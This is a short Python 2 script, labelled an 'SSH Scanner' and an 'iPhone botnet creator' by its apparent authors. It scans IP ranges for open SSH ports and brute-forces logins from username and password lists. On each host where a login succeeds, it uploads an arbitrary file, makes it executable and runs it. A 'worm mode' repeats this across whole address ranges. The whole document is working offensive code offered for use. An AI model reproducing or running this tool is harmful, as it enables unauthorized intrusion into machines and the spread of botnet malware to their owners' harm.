SSH Scanner

#!/usr/bin/python
#iPhone botnet creator!
#Coded by Freak || Salamander Squad
import itertools
import threading
import paramiko
import random
import socket
import os
socket.setdefaulttimeout(0.300) #wait 150 ms before moving to next ip
def AttackSSH(ip,userlist,passlist,localpath):
    socket.setdefaulttimeout(60) #turn off timeout, this might take long.
    print "[+] Attacking IP: "+ip
    f=open(userlist,'r')
    usernames=f.read().split()
    f.close()
    f=open(passlist,'r')
    passwords=f.read().split()
    f.close()
    for user in usernames:
        for pw in passwords:
            try:
                print "[+] Trying "+user+":"+pw+" on "+ip
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            except:
                print "[-] Connection failed!"
                pass
            try :
                ssh.connect(ip, username=user, password=pw)
                print "[+] "+user+":"+pw+" is valid on "+ip
                print "[+] Connected to "+ip+":22"
                while 1:
                    try:
                        sftp = ssh.open_sftp()
                        print "[+] Uploading file..."
                        remotepath='upl0ad3d'
                        sftp.put(localpath, remotepath, callback=None)
                        sftp.close()
                    except:
                        print "[-] Failed to upload file!"
                    try:
                        print "[+] Chmodding and executing..."
                        ssh.exec_command("chmod +x "+remotepath)
                        ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("./"+remotepath)
                    except:
                        print "[-] Failed to chmod or execute!"
                        print "[+] Command sucessful! Output: "+ssh_stdout
                ssh.close()
                break
            except paramiko.AuthenticationException:
                print "[-] Failed! on "+ip
                pass
    socket.setdefaulttimeout(0.300) #turn timeout back on, resume scanning.
def generate_ip_range(input_string): # skidded off of http://stackoverflow.com/questions/20525330/
    octets = input_string.split('.')
    chunks = [map(int, octet.split('-')) for octet in octets]
    ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
    for address in itertools.product(*ranges):
        yield '.'.join(map(str, address))
def Worm(userlist,passlist,ipRange,localpath):
    for ip in generate_ip_range(ipRange):
        try:
            print "[+] Scanning "+ip+":22           "
            print "\033[2A" #epic ANSI code :P
            s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            s.connect((ip,22)) #Make sure host is up and SSH is open.
            s.close()
            print "[+] Port 22 (SSH) is open on "+ip
            AttackSSH(ip,userlist,passlist,localpath)
        except:
            pass
def Main():
    userlist=raw_input("Userlist: ")
    passlist=raw_input("Password list: ")
    localpath=raw_input("Local path for UPX file: ")
    if raw_input("Worm mode? (y/n): ")=="y":
        ipRange = raw_input("IP Range (ex. 192.168.1-2.1-256): ")
        try:
            print "[+] Started scanning..."
            Worm(userlist,passlist,ipRange,localpath)
        except:
            print "[-] Failed! Critical error!          "
            pass
        print "[+] Scanning finished!          "
    else:
        AttackSSH(raw_input("Target IP: "),userlist,passlist,localpath)
Main()